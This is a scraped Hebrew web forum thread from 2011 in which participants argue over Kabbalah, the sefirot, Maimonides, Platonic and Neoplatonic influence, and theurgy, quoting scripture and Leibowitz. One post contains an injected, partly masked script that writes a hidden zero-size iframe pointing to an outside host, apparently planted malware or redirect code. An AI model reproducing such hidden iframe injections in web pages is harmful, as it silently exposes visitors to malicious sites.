|
|
| נשלח ב-9/5/2011 23:54 |
 |
| |
מיימוני,
סלח לי אבל במקום לענות לגופן של טענות, אתה מלביש עלי איזו דמות עם טענות כלליות וידועות מראש איתן קל יותר להתמודד מאשר עם הטענות הקונקרטיות שהעליתי. (ביחס למר "שותפי סוד" יתכן שאסכים שתשובתך טובה , לפחות חלקית)
אני לא יודע אם יש טעם לעזור לך להתחמק מהדברים הברורים שכתבתי למעלה, ובכ"ז אגיב במקצת לטענות הנקודתיות שהעלית
1. אני מסכים שהצורך לגלות את מציאות השם היא צורך של העולם, מצד שני אני לא מקבל את הנחת היסוד היוונית שמניחה דיכוטומיה בין הקב"ה לבין העולם והאדם, שסותרת את רוב יסודות התורה. ואליבא דהרמב"ם לכל הפחות את יסוד הנבואה.
2. זה דיון אחר שכתתי את דעתי בעניינו כבר כמה פעמים ולא אחזור על כך שנית, רק אבהיר שהטענה המרכזית שמועלית כאן לא מנוגדת ובודאי שלא קוטבית לשיטתי, מבחינתי הספירות הן משלים שמי שחכם ומבין מדעתו יודע את משמעותם ותועלתם, מי שלא אכן לא נזקק להם, ואדרבה אולי עדיף שלא יעסוק בהם, כיון שעלול להגיע לטעויות מסוגים שונים ומכיוונים שונים, ודי בזה.
_________________
|
|
|
|
| נשלח ב-10/5/2011 04:49 |
|
| |
| מיימוני כתב: |  | איש ציפור ויהי אור
לא הפנית התייחסות אלי, ואכן צדקת. אינך עונה כלל לשאלותי.
זו נקודה מרכזית בעיני.
הבה נראה מה יש לנו כאן. ניתן לזהות כמה רכיבים.
1. יש לנו בעיה אנושית, פסיכולוגית ופילוסופית, לדבר על אלקים בהיות טרנסצנדטי, "מעבר" מכל וכל.
אנו (וכן התורה עצמה, וכן נביאים וחכמים, וכולם - כולל הרמב"ם בספריו האקזוטריים(=לכל הציבור) משתמשים בשפה אנושית עם מיגבלותיה, ובדרך כלל עם הצהרה על המיגבלה.
התיאורים בתורה לכל דורותיה עוסקים בדרישות של האלקים מן האדם וכיצד על האדם לראותו כדי לציית לו. אלקים שאינו משועבד למאומה (בורא הכל, טוב ורע, אור וחושך), שאין לו דמיון (בלשון הרמב"ם: אינו גוף, בלשון התורה: אש, לא יראוהו), אוהב משפט, מאריך אף, רחמן, סובל הכל (חז"ל), גיבור (יכול הכל וגבורתו לכלוא גבורתו לזמן). אמירות אלו לא באות בשביל עצמן אלא למען המקבלים.
אלא שגם ניתן לטעון, כמו שותף סוד ואחרים, שה' כן רוצה שיגלו סודות עליו, אבל לדעתי אין זה נכון ומעל לכל אין זה מוכרח בהבנת הכתובים.
לא מצליח להבין מה אתה טוען.
אמרת שיש בעיה ליישב את תפיסת עצמותו הנעלמה של המאציל האינסופי עם התיאורים הסופיים המופיעים בתורה ובדברי חכמיה. נו, אז יש, ומתאמצים להבין כמו שאר דברי תורה.
מה זה קשור לטענה שהשם רוצה או לא רוצה שנדע עליו ונכיר אותו ? אם הוא אומר וידעת היום, ואתה הראית לדעת וכו' וכו' הוא אינו מתכוון לזה ? על מה אתה מסתמך שאתה אומר שלדעתך זה לא נכון, תחושת בטן ?
2. יש לנו מערכת סמלים, למעשה כמה מערכות (אותיות, מספרים, ספירות, דמות אדם) שנועדו לענות על כמה שאלות: מה היה הסדר שמוביל מן האלקים לבריאה, וכיצד מתנהלת הבריאה המושגחת על ידו, במבט מהצד שלו.
סתם טעות פשוטה. כל תיאורי העולמות הם רק במבט מהצד שלנו, כולל האופנים שבהם מתגלה הבורא בבריאה.
מה אפשר לדעת עליו. זה לא בלתי נמנע להכרה. זה רק סוד גדול. אבל גם הסוד הזה נחשף והולך.
הידיעות על סדר השתלשלות העולמות אינן סוד גדול יותר מהלכות נגעים ואהלות. מי שלא יודע אותן זה סתום בשבילו, ומי שלמד אותן זה גלוי עבורו. הסוד איננו בידיעה אלא במהותה- מדובר בדברים שקיום מציאותם שונה משלנו ולכן דורשים התייחסות אחרת.
כאן אני שואל שאלת תם (באמת): מה הרווחנו? למה עלינו לנסות לענות על שאלת פלוטינוס (מיסטיקאי, גוי, שתרם רבות ואולי ייסד את תורת הספירות): מה הקשר בין הרוחני המוחלט לעולם גשמי?
השאלה של התועלת בלימוד התורה וידיעתה לשמה היא כללית. מה "הרווחנו" בהלכות נגעים ואהלות ? מה בכלל הועילו לנו רבנן ? שאלות יסודיות ומסוכנות להפליא, אבל לא קשורות כלל לנושא. אדרבא, "כדאיות" הלימוד של דרכי ההתקשרות אל הבורא נראית מבטיחה יותר. אבל אלו שאלות הבל בכל מקרה.
הקבלה הזו, במיוחד של האר"י, מספקת צורך אנושי מאד, סקרנות לגבי הבלתי ניתן לתפישה. לא רק שהיא עונה (ויותר מתשובה אחת). היא גם נותנת תעסוקה. המצוות אינן רק ענין חינוכי חברתי ואישי, אלא גם שירות עבור מערכת דינמית שמתרחשת, הפלא ופלא, בתוך עולם של אלוהות. המיסטיקאי המקובל מציץ לשם, רואה מה שאיש לא ראה ולא יראה, ואפילו מתבקש להתערב, להעלות ניצוצות, לתקן תיקונים, ולמענו נברא הכל, למען התיקונים שלו. כי הבריאה היא צורך גבוה.
כדי להחזיק בדעות כאלו, צריך לא רק את הסקרנות בתחום, (ואת הרצון הטוב לעבוד את אלקים, חזקה על איש ציפור, שותף סוד ועוד כותבים שליבם באמת לשמים). צריך גם יכולת להתעלם מסתירות לוגיות, מקושיות פילוסופיות.
סתירות לוגיות ? קושיות פילוסופיות ? מאיפה הבאת את כל זה, מיימוני ?
אם לא תאמץ ותתקפל מול מחשבה יוונית (מי זה פלוטינוס ?) אלא תחשוב ישר כמו שברא אותך אלקים אני מבטיח לך שהכל יתיישב בדעתך. גם המחשבות הילדותיות על פסיכולוגיה בגרוש ("נותנת תעסוקה", איזה יופי) נראה לי שתעלמנה מהר.
וכאן מסייע מאד מנגנון שהתפתח בעם ישראל. ראשיתו בתוך עולם הלימוד, והמשכו בסוציולוגיה. המכשיר של דיכוי ההכרעה בכוח המחשבה.
כאשר אנו לומדים על מחלוקת, בין בגמרא, בין בראשונים, בין אצל האחרונים, ואוחזים את החבל משני קצותיו, ואומרים שהכל אמת, לא רק במחלוקת ערכית או בשאלה איך להתנהג, שכאן שני הכיוונים יכולים להיות בעלי ערך, אלא גם בהיסטוריה ובעובדה, אז אנו מרגילים את עצמנו לחיות עם סתירות. במקום לדחות ולומר: צד אחד אינו נכון. עד כאן. אנו מתרגלים לומר: זה קשה, אבל אותו חכם היה מופלג בחכמתו מאיתנו, ולכן אם אמר ששתיים ועוד שתים הן חמש, זה בסדר. אני הקטן.
אם אמר שהקב"ה שהוא אחד ויחיד ואינו מתחלק בכל זאת מתחלק לחלקים, ויש עולמות אלוהיים שנתגלו לפלוני לפני כמה מאות שנים, למרות שהמסורת שלנו עד אליו צועקת אחרת, זה לא נורא. הוא היה אדם גדול מאד.
וההוכחה: מאות שנים של אנשים שגדלו בתורה, ושמו קו לחכמתם, וענו אמן על הבלתי אפשרי.
ביום הזכרון בוכים. גם על אמונת הבל כזו ועל החדרת גישה בולעת סתירות כזו צריך לבכות, אם כי מסיבות אחרות.
אף אחד לא בקש ממך להתעלם מסתירות. מבקשים אותך להתרומם מהשאלה הראשונית אל הבנה כוללת יותר שתיישב את הסתירות שבדעתך. לפעמים אדם מתאהב כל כך בשאלות ומסרב בכח לשמוע על האפשרויות ליישבן, עד שזה נהיה מגוחך. מותר גם לך ללמוד משהו חדש, מיימוני, ולא רק לחזור ולהתבוסס לשאלותיך. גדולים וחכמים טרחו ויישבו, מה הגאווה הנוראית הזאת להימנע מלהבין את דבריהם ?
(הכותב כותב מנהמת ליבו. כמובן, כיון שחכמים ויראים נמצאים בצד החולק, כמו איש ציפור, שותף סוד וכל המקובלים הגדולים, ברור שהכותב טועה, ורק שכלו הפעוט כזבוב בן שלולית גורם לו לחשוב שניתן לדחות קביעות רק בגלל שהן סותרות, ואולי בכלל הן לא סותרות בעולמות עליונים?)
מיימוני קלאסי. נו, אולי האולי הזה הוא נכון ?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אישציפור,
מה מהרת להיפרד ממני ? מה אתה חושב אחרת בעניינים אלה שמאפשר לך להימלט ככה בבהלה מנחת זרועו של מיימוני ?
 |
|
|
|
|
| נשלח ב-10/5/2011 16:48 |
|
| |
תגובה לשותפיסוד
שלום,
תשובה על תגובת שותפיסוד לדברי.
1. 'רצון האל בבריאה' אינו שורש כלל וכלל אלא רחוק ממנו. לא הבנת 'שורש' מהו.
2. קמח כידוע זקוק לשמרים מים לישה ואש כדי שיהפוך ללחם. סוד אין כאן אלא תבונה שלמדה לשלב את הדברים יחד.
ענין המשל הפוך היה, שכל מה שהלבישו אנשי העיר על הקמח היה מיותר. אין הוא צריך לבושים חיצוניים. שם בהרים כבר אחז האיש ביהלום השלם.
3. ויש כאן ענין עמוק יותר. 'עיר' היא 'קיביטאס' בלטינית. מכאן 'ציביליזציה' - התרבות שנוצרה על ידי האנשים שהתאגדו לישוב יחד ויצרו 'עיר'. האיש שחי לבדו בהרים היה מחוץ לעיר, וטענתו שאינו זקוק לה ולכל מה שהיא מסמלת כיוון שכבר יש בידו יהלום טהור וכל התוספות יסתירו את טהרתו.
4. אם איכפת לשותפיסוד מאפלטון ותורותיו או לא, הרי זה ענין השכלתו שלו. אבל כפי שנכתב ולא שם לבו, אפלטון הכרחי לנושא הדיון שלנו. למה הדבר דומה, לאדם המתעסק בחשבון ומכריז בקול גדול שהוא מתעניין רק במספרים הגדולים ממאה, ואין זה מענינו שאחד ועוד אחד נותנים שנים. רעיונות יסוד של הקבלה, רעיון ההאצלה והאצילות למשל, הם פיתוח תורת אפלטון. הוצא את אפלטון והזוהר לא היה נכתב כדרך שנכתב. דבר זה ידוע היטב לכל מי שעיניו בראשו.
רוב חכמי ישראל הרציניים ידעו על תורת אפלטון ואריסטו תלמידו מכלי שני או שלישי, [הם לא קראו במקור או בתרגום], והשפעת השנים עליהם, ועל כל אנשי העולם המערבי בכלל, היא עצומה. אם היום יכול אדם לומר בבוטות כי אפלטון אינו מעניין אותו, הוא מעיד על בעיה חריפה שלו. זה גם ביטוי למשבר רוחני גדול שבו נתון העם היהודי למין השבתאות ואילך, משבר האוכל בנו בכל פה. [אפשר יעלה בידי לכתוב עליו איזה דבר].
5. אם יש לך ענין ללמוד תורתו של שפינוזה, והיא חשובה לכל הרוצה להשתלם במחשבתו, קרא עליו בכל ספריה ראויה [רק לא בויקיפדיה שאינה טובה לענין], והמתן כמה שנים לפני שתגיב עליה כי קלות הדעת אינה במקומה כאן.
שלום
עודד
|
|
|
|
|
| נשלח ב-10/5/2011 17:37 |
|
| |
מה איכפת לי מאפלטון זה או אחר? - תוספת
שלום
שותפיסוד כתב:
מה איכפתי לי מאפלטון זה או אחר?
הרמב'ם כותב:
"דע, כי הקדמונים חקרו חקירה עצומה - באשר ניתן להם מן החכמה וטוב המחשבה"
[הקדמות לפרוש המשנה. ח' תר. אלחריזי, הוצ. מוסד קוק י'ם תשכ'א ע' עב]
הנותן הוא הקב'ה. ושותפיסוד מזלזל במתנתו.
עודד
|
|
|
|
| נשלח ב-10/5/2011 18:08 |
|
| |
לעודד
תודה על דבריך המעניינים.
אודה לך אם תפרט מאיזה כיוון נכנס שפינוזה למשל החיטה .
|
|
|
|
| נשלח ב-10/5/2011 18:14 |
|
| |
עודד וולנד
(כמדומה שברכתיך עם הצטרפותך, ואני נהנה שוב מדבריך).
לא רק אפלטון, אלא תלמיד שיטתו פלוטינוס, שהוא אבי תורת הספירות עד כמה שאני זוכר.
***
איש ציפור
לא שמתי לב שלא עניתי למשהו שכתבת.
ראיתי מה שכתבת, ואני מקוה שאינך סבור שדברים אלו משקפים את דעתי!
אני מעיר, על ידי העתקת דבריך וסימון אותיות במקומות שאני רוצה להגיב.
כתבת:
1. אני מסכים ש [א] הצורך לגלות את מציאות השם היא צורך של העולם, מצד שני אני לא מקבל את הנחת היסוד היוונית שמניחה [ב] דיכוטומיה בין הקב"ה לבין העולם והאדם, שסותרת את רוב יסודות התורה. ואליבא דהרמב"ם לכל הפחות את יסוד הנבואה.
א. אתה מסכים ואני לא. העולם אינו צריך "לגלות את מציאות השם". רוב העולם מסתדר גם בלי זה. בני אדם רוצים לגלות את ה' (סבורני, וגם על זה יש חולקים).
הטענה שהעולם זקוק לגילוי של ה' נפוצה בקבלה, ויש שטענו שהיא היא תכלית הבריאה. יש שניסו לטעון שהיא גם "פשט" הכוונה ב"מטרת הבריאה היא גילוי כבוד ה' " אבל גם זה יש לדון, ובוודאי שגילוי זה לא חייב להתבצע דרך חשיפת הספירות.
ב. אין שום דמיון בין ה' לעולם. אם רצונך לקרוא לזה דיכוטומיה, בבקשה. זו גם לא הנחת יסוד יוונית, אלא אם כן תפרט אצל מי ביוון מצאת את היסוד הזה. אם כוונתך להוגי דעות ויוצרים, אזי לא תמצא זאת לא בהומרוס וגם לא באפלטון, שמכיר רק את האידיאות והדמיאורגוס שמסדר את החומר הקדמון בצורת האידיאות. תוכל למצוא רעיון כזה באריסטו, אבל אין אלוהיו אלקי היהדות כלל (אני מקוה שלא תאשימני שאולי כך חשב הרמב"ם. אך כך חשב הרמב"ם, אז לדעתי טעה).
זה שאין דמיון בין האלקים לבריאה הוא רעיון יהודי ומקראי. האם רצונך בפסוקים שמעידים על כך. כגון "למי תדמוני ואשווה"?
זה גם לא סותר את התורה בשום מקום כי זה בדיוק מה שהתורה, כלומר המקרא, באים לומר.
***
המקרא והיהדות שלנו כן מניחים שה' מתעניין בבריאה, תובע מהברואים ללכת בדרכי היושר והטוב ("ועשית הישר והטוב" וכן בנביאים הרבה), וגם גומל לאיש כמעשהו. זה לא אומר כלום על הקב"ה "אישית".
הרצון לדעת מהו ה' בפני עצמו ומה טיב הקשר בינו לבין העולם הם חידושים מודרניים, שמתחילים בקבלה (הבהיר? בוודאי אצל האר"י ומחברי הזוהר) והם מבוססים על כך שיש מה לגלות ושזה ניתן לגלות באופן כלשהו. אני חוזר: רעיונות כאלו לא תמצא במקרא. ולדעתי הם נובעים מתוך תכונות אנושיות. אם יש לקרוא להן שם, הרי זו התאוה של פאוסט מהסיפור המפורסם (בייחוד בגרסת גתה אבל לא רק), הרוצה לדעת מה למעלה ומה למטה וגו'.
זו דעתי שלי שכתבתי כאן. אם אתה מסכים, אשמח. אני איני מסכים לשום טענה שהבעת בדבריך לעיל. צר לי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-10/5/2011 18:20 |
|
| |
תיקון הכרחי:
כתבתי שהרעיון של שוני בין האלוהים לעולם לא נמצא ביוון אלא אם כן אצל אריסטו. למעשה, גם זה לא מדוייק. האלוהים האריסטוטלי הוא ידיעה טהורה, ידיעת עצמו. איני יודע למה התכוון אריסטו (כנראה יצא מהתופעה של ידיעה בפסיכולוגיה האנושית, כאשר המונח, בעקבות אפלטון, שמור לתחומי ידע מסויימים שהיום היינו קוראים להם מטפיזיקה ואולי גם פיזיקה ואסטרונומיה), אך בוודאי שיש משותף בין האלוהים שלו למעוצבים בצלמו. (אין בריאה יש מאין אצל אריסטו). כולם משתדלים ליטול חלק בידיעה ורק האלוהים האריסטוטלי מגשים זאת לגמרי.
לפיכך, כמדומה שאין אצל היוונים דיכוטומיה מוחלטת בין האלוהים לעולם. ואצל אריסטו יש, אדרבה, את שיטת התיווך בין האלוהים לעולם על ידי מערכת שכלים וגלגלים (שאותה ירש הרמב"ם...). שיטה שתתורגם למערכת הספירות על ידי פלוטינוס ותיבלע בתוך הקבלה...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-11/5/2011 00:43 |
|
| |
שותפי,
לא נפרד מאף אחד, אני פשוט יודע שאנחנו לא מבינים את הקבלה באותו אופן, כך שייתכן שיהיו חילוקים, ממילא ברור שאני לא יכול לדבר בשימך, או להישאל שאלות שמתאימות לשיטתך.
מיימוני,
א. שוב אתה מעמיס על דברי כל מיני טענות לא מוכרחות כדי להקל עליך את המלאכה. בכל מקרה אין ערב לדבריך (גם לא הרמב"ם) וגם אם יש ערבך צריך ערב, התגלות השם היא יסוד מוסד בכל המקורות המשמעותיים של יהדות וברמב"ם שקבע את עקרון הנבואה כאחד מי"ג עיקרים בפרט, כך שדבריך הם ניסוחים פתלתלים ודקדוקי עניות חסרי או לכל הפחות מועטי תוכן ובמובן מה גם סותרים את עצמם ("רוב העולם מסתדר בלי" "בני אדם רוצים לגלות..." אולי תחליט מה אתה רוצה להגיד ) ותו לא, עד שיוכח אחרת.
ב. שוב אתה מסלף ,לא דיברתי על דמיון בין האדם והא-ל , אלא על הפרדה בינהם, שכאמור היא גופא כפירה בעקרון הנבואה
"| והוא שידע אדם, שזה מין האדם ימצא בהם בעלי טבעים ממידות מעולות מאוד ושלמות גדולה, ונפשותיהם נכונות עד שהן מקבלות צורת השכל אחד. כן ידבק אותו השכל האנושי בשכל הפועל, ונאצל ממנו עליו אצילות נכבד. ואלה הם הנביאים. וזו היא הנבואה וזו עניינה. " |
לגבי ידיעת מציאות השם בפני עצמו, בעיני זו אכן טעות, הגם שאני לחלוטין לא משוכנע שגדולי חכמי הקבלה טעו בה , בכל מקרה את זה תשאל אותם, אם אתה יכול.
בכל מקרה בלי ההבחנות שהקבלה נותנת (בין אם נאמר אותם בלשון "קבלית" ובין אם לא, זה ממש לא משנה) קשה להסביר פסוקים כמו " כִּי אִם-בְּזֹאת יִתְהַלֵּל הַמִּתְהַלֵּל, הַשְׂכֵּל וְיָדֹעַ אוֹתִי--כִּי אֲנִי יְהוָה, עֹשֶׂה חֶסֶד מִשְׁפָּט וּצְדָקָה בָּאָרֶץ: כִּי-בְאֵלֶּה חָפַצְתִּי, נְאֻם-יְהוָה."
או אפילו פסוקים כמו "הראיני נא את כבודך" באופן שלא ישתמע בפשטות כדיבור על ידעת עצם מציאות השם.
ואמנם אפשר לדחות את זה באפולוגטיקה ובניסוחים פתלתלים, ולהגיד שכתוב כך אבל בעצם התכוונו למשהו אחר, אבל דומני שאדם עם יושר אינטלקטואלי בסיסי יראה בתשובה כזו תשובה חלשה (במקרה הטוב). מצד שני בימינו מקובל שתארים כמו "יושר אינטלקטואלי" אנשים מחלקים לעצמם, כך שזה באמת מעקר את הדיון מתוכנו.
לגבי היוונים, אתה יכול למחוק את המילה מהפרוטוקול אם זה ממש עקרוני לך.
הדברים שלי משתדלים לעסוק בתכנים, ולאו דוקא בדיוק הסטורי . _________________
|
|
|
|
|
| נשלח ב-11/5/2011 10:37 |
|
| |
אני מוכרח לומר שאני די נדהם,
אני כותב דבר אחד הוא כנראה מנפץ לך משהו באמונה , אז אתה מכניס לי לפה (שוב ושוב ושוב) את ההפך , כדי לא להתמודד עם ההשלכות של דברי.
בכל מקרה הפסוק לא אומר שנלמד לעשות חסד צדקה ומשפט, אלא שנלמד לדעת את השם בתור כזה שעושה חסד צדקה ומשפט בארץ, כלומר שנבין את דרכי הנהגתו באור נכון. (ולכן ברור מאוד למה הוא מופיע דוקא בספר ירמיהו בנקודה בה ההנהגה הא-להית על פניו משנה את יחסה לישראל באופן קיצוני ובוטה עד עצם היום הזה... נושא ששווה להרחיב עליו את הדיבור בזכות עצמו) מובן שהבנה כזו משליכה או לפחות צריכה להשליך גם על ההתנהגות האנושית ע"י הידבקות בדרכיו אבל כדי להידבק בדרכים צריך להכיר אותם באמת, אמירות כלליות על חסד יש גם בנצרות, על צדק היה גם בקומוניזם (כנראה יש גם היום) ועוד כיו"ב, אבל אלו חסד וצדק שהאדם בדה מליבו והלביש או לא על הא-להים לצרכיו שלו.
בכל מקרה אם אתה יוצא נגד עיסוק תאורטי ומנותק בסודות מנותקים מהמציאות רק בגלל שכביכול מישהו גדול בדור הקודם (או בדור הזה) אמר אותם, הרי שאני שותף לכך.
נ.ב. בנוגע לתאורגיה במובן של השפעה על הנהגת השם, הדבר מובא מפורשות בכמה מקומות בענין הצדיקים שמהפכים את מידת הדין למידת הרחמים (מובא למשל על יצחק ב"ויעתר יצחק להשם לנוכח אשתו" וכן בענין נח "ויזכר א-להים..וישוכו המים") ולחילופין הרשעים שמהפכים מידת הרחמים למידת הדין (מובא בענין דור המבול "וירא השם כי רבה רעת האדם") שלא לדבר על הניסיון של אברהם להציל את אנשי סדום ושל משה להציל את ישראל שחטאו בעגל ובמרגלים ועוד. כך שאני לא חושב שהבעיה היא בעצם היומרה לשנות את הנהגת השם, אלא אם כבר בכך שהיומרה מבוססת לעתים על דמיונות תלושים ו/או שיש בה אי אלו טעויות בהשקפה וכיו"ב. אבל גם זה נושא ששווה להרחיב עליו את הדיבור בהקשר המדויק הראוי לו.
_________________
|
|
|
|
|
| נשלח ב-11/5/2011 11:15 |
|
| |
איש ציפור
אתה טוען שאני מכניס מילים לפיך, ואני קורא את דבריך, ומגלה שלפי מיעוט הבנתי, הצגתי את הדברים נכון. ולגבי פרשנותך לפסוקים ולמקורות, דעתי שונה משלך.
ואפרט.
אתה מפרש את הפסוק מירמיהו כך:
לא אומר שנלמד לעשות חסד צדקה ומשפט, אלא שנלמד לדעת את השם בתור כזה שעושה חסד צדקה ומשפט בארץ,
ולדעתי טעות בידך, יקירי. לא שנלמד לדעת את השם, שהרי את השם אי אפשר לדעת. ה' רוצה שנלמד את החסד והצדקה והמשפט שהוא תובע מאיתנו, ונלך בדרך זו.
הרואה אתה במה אנו נבדלים בהבנת הפסוק? אתה סבור שיש כאן קריאה בפסוק אלינו להכיר את השם עצמו, אולי כמו המקובלים, וממילא גם נלמד מידות טובות והנהגות ישרות. ואני סבור לא כמוך, שחלילה לנביא לומר כאלו דברים בלתי אפשריים, וכל הכוונה היא רק שכפי שה' נוהג עם העולם במשפט ובצדקה ובחסד, כך ראוי לנו גם כן להתנהג.
***
לגבי האמונה התיאורגית, שניתן להשפיע על ה' -
יש בהחלט לשונות בחז"ל שאותן ניתן לדרוש באופן קבלי. הזכרת כמה מהן ויש עוד. אבל אני, בניגוד לך, סבור שמעולם לא עלתה על דעת חכמינו לסבור שיש כפתורים שצריך ללחוץ עליהם וסודות שצריך לדעת כדי להפעיל את הדינמיקה האלוהית.
כוונתם היתה כי בזכות מעשים טובים, בזכות ההשתדלות שלנו, ה' משנה את יחסו לעולם. גזירות רעות מתבטלות. המציאות מתברכת. אבל לא שהצדיקים פועלים על עולמות עליונים.
ושוב, כמו בפסוקים של הנביא, אתה יכול לפרש ולחזור ולפרש, וכמובן אתה הולך בעקבות המקובלים שקדמו לך. אלא שבעיני אין זו אלא טעות ומינות (והרי כל מינות היא טעות).
ולמעשה אתה עצמך מביא דוגמאות של ה"שינוי", מתפילת אברהם על אנשי סדום. וכי אברהם פנה לאריך אנפין שינטרל את זעיר אנפין ויבוא במקומו? הוא פנה אל ה', כאלקי החסד והרחמים, הצדק והמשפט, בלי להניח שיש ספירות שצריך להפעיל ולחבר...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-11/5/2011 13:04 |
|
| |
הַשְׂכֵּל וְיָדֹעַ אוֹתִי
שלום,
שתי הערות.
א.
מה שהאדם הרגיל מכנה ה' ומתכוון לאיזו עצמות אחת ויחידה, הרי בעולם הקבלה מוצאים מערכת שלמה של עולם אלהי. זכור לי הספר 'מערכת האלקות' למחבר בלתי ידוע, שהוא מעין קטלוג שלם של עולם זה.
הרעיון העיוני הבסיסי של הנאופלטוניות [הקבלה היא אחת ממיצגות התפיסה הזו אצלנו] הוא נסיון לגשר על הבקע העצום המצוי בין העולם השמימי ובין העולם הארצי. בעית הגישור קיימת בכל השיטות המחשבתיות המניחות שני יסודות זרים ושונים בתכלית, אשר בכל זאת נדרש לחבר ביניהם. הבעיה המפורסמת ביותר היא בעית הגישור שבין גוף ונפש, הנתפסים כ'א כסותר לחלוטין את השני ובכל זאת מחובר עם השני בכל היצורים החיים. עד היום אין לבעיה זו פתרון. הקבלה, כנציגת הנאופלטוניות, יוצרת רצף אחד, ארוך, חסר תהום ושבר, אבל מדורג, החל מן האחד וכלה בחומר ההיולי. לכן, מבחינה עיונית, יש אפשרות פעולה הדדית של החלקים.
ענין אחר הוא צורך המאמינים להתחבר לעולם השמימי וללחוץ שם על הכפתורים המתאימים. זה צורך אנושי חזק מאד. אלא שצריך להבדיל היטב בין מישורים של דיון. ענין אחד הוא הדיון העיוני, עיניין אחר לגמרי הוא הצרכים האנושיים. המחלוקת שכאן היא איפא בשני מישורים שונים לחלוטין. מכאן אי ההבנה.
ב.
הַשְׂכֵּל וְיָדֹעַ אוֹתִי
אביא למיימוני תנא דמסייע לדעתו את המו'נ של הרמב'ם, כפי שמביא אותו ישעיהו ליבוביץ בשיחה על עניין זה.
[ציטוט ללא עריכה מן השיחה הזו הנאמרת כולה בע'פ ללא הכנה. ההקלטה מצויה בידי ושמיעתה היא חוויה גדולה]
קודם כל הענין הזה על הסיום הזה של 'מורה נבוכים', בענין 'חסד משפט וצדקה'. הרמב'ם הקדים לאותו פרק נ'ד את פרק נ'ג, שבו הוא כותב בפרוש, כן, שכל הפרק הזה אינו אלא הקדמה לפרק שיבא אחריו, כן. ומה פרוש הדבר הזה? שמה שאמור בפרק נ'ד, כן, הסוף הוא איזה דרשה, כן, דרשה, [במובן ה-] לא מחקר, כן, אלא דרשה המופנת לאדם, כן, חנוכית, כן, שזה משור אחד. אבל המשור האמתי הוא אחר לגמרי. הלא הרמב'ם מתיחס לפסוק הזה בירמיהו כפסוק המבטא את ענין של הכרת אלהים. ועכשיו לא נדבר מה באמת מתכוון ירמיהו הנביא. מה שהוא מתכוון לא קשה להבין את זה, אבל מה הכוונה שהרמב'ם מכניס בדבר הזה, כן: 'כה אמר השם: אל יתהלל חכם בחכמתו ואל יתהלל גבור בגבורתו ואל יתהלל עשיר בעשרו כי אם בזאת יתהלל המתהלל השכל וידוע אותי כי אני השם עושה חסד משפט וצדקה בארץ, [כן,] ובאלה חפצתי'[1]. ובזה הוא גם אחר כך [מסכם] מסיים פרק נ'ד. אבל פרק נ'ג הוא אומר לנו משהו, שפתאום נמצא משור אחר לגמרי. לכאורה, לפי הפשט, ויש להניח שזה באמת היתה כוונתו של ירמיהו הנביא, כן, אף על פי שלעולם אין אנחנו יכולים להגיד בודאות מה היתה כוונתו של נביא בדברים האמורים בשגב רב, כן. לכאורה הלא הרמב'ם יכול למצא בזה סתירה: 'בזאת יתהלל המתהלל השכל וידוע אותי' וידיעת השם זאת היא הכרה שאין לו תארים. אל תשכחו את הענין המרכזי הזה של כל התאולוגיה של הרמב'ם, כן. ובשיחות שהיו לנו היום בנסיבות אחרות כבר נגענו בדבר הזה, שגם התאר של יודע, כן, ורוצה, למעשה לא חל על אלהים כלל אם אנחנו משתמשים במונחים רצון וידיעה בקטגוריות אנושיות, כן. והנה פתאום, לכאורה, 'השכל וידוע אותי כי אני השם עושה חסד משפט וצדקה' - הפונקציות שאלהים ממלא בעולם. והרמב'ם מסביר: 'חסד' עבור האלהים זה לא מה שאנחנו קוראים 'חסד' ומבינים מושג חסד בינינו. זה עצם קיומה של המציאות. העובדה שיש מציאות זה חסד אלהי, שהרי המציאות היא קונטינגנטית, זאת אומרת, אין לזה שום משמעות מוסרית. 'משפט' - 'אני השם עושה חסד משפט'. 'משפט' זה הסיבתיות הקימת בקוסמוס. שכל דבר מתחייב מדבר אחר. כן. זאת אומרת, המונח 'משפט', כשהוא מיוחס לאלהים, גם כן אין לו שום תוכן אתי אלא תוכן אקזיסטנציאלי. 'צדקה' - שהחי מסוגל לפעול באופן ספונטני, מקרבו. נתנת לו היכולת הזאת שאיננה קימת בכל העולם הדומם. בסוף פרק [נ]ד שהרמב'ם אומר, - וזה ממש דרוש, דרוש חנוכי, - על אלהים נאמר שהוא עושה 'חסד משפט וצדקה', המשמעות של הדבר הזה איננה חנוכית כלל וכלל, כן, היא אמונית טהורה, כן: 'חסד' - שיש מציאות. 'משפט' - שיש סיבתיות. 'צדקה' - שיש פעילות ספונטנית של החי. אבל מאחר שאלהים נקרא בתארים אלה, לכן אתה חייב לפעול על פי התארים האלה באותו מובן שיש להם במציאות האנושית: שאתה תהיה איש מלא חסד, ותנהג במשפט, ותנהג בצדקה. הנה כאן הדגמה נפלאה למה שאני קראתי 'שני המשורים' שבהם הרמב'ם מטפל באמונה. כי 'חסד משפט וצדקה' במשור אחד זה הוראות לאדם: להיות איש, כן, גומל חסד, כן, ועושה משפט, כן, ועושה צדקה. אבל משור אחר, 'חסד משפט וצדקה' זה העובדה שקיים עולם מפני שיש אלהים. וזה ההלכה הראשונה שבמשנה תורה: 'כל הנמצאים בשמים ובארץ ומה שביניהם לא נמצאו אלא מאמתת המצאו.' אני מעיר את תשומת לבכם [לרבי מאיר דורא[2]] )שבמשנה) שבהלכות יסודי התורה אין רמז לכך שהאלהים ברא את העולם, שזה גם כן רק פונקציה של אלהים, וכאן מדובר על הכרת אלהים מבחינת אלהותו ולא מבחינת הפונקציה. ולכן לא נאמר: 'כל הנמצאים בשמים ובארץ ומה שביניהם לא נמצאו אלא' משום שאלהים עשה אותם, אלא 'לא נמצאו אלא מאמתת המצאו'. העולם קיים מפני שיש מציאות אמת וזה אלהים. ולא נאמר מאומה על איזה פונקציה שהוא ממלא.
[2] מה ענינו לכאן? ר' יצחק בן מאיר מדורא dueren פוסק אשכנזי. מת 1300 לערך.
עודד
|
|
|
|
|
| נשלח ב-11/5/2011 13:26 |
|
| |
מימוני,
אתה נצמד לדוגמות שלך, ועל בסיס זה ממציא פרשנויות מסולפות ומוטעות. ובזה אנחנו בהחלט נבדלים.
בנוגע לתאורגיה,
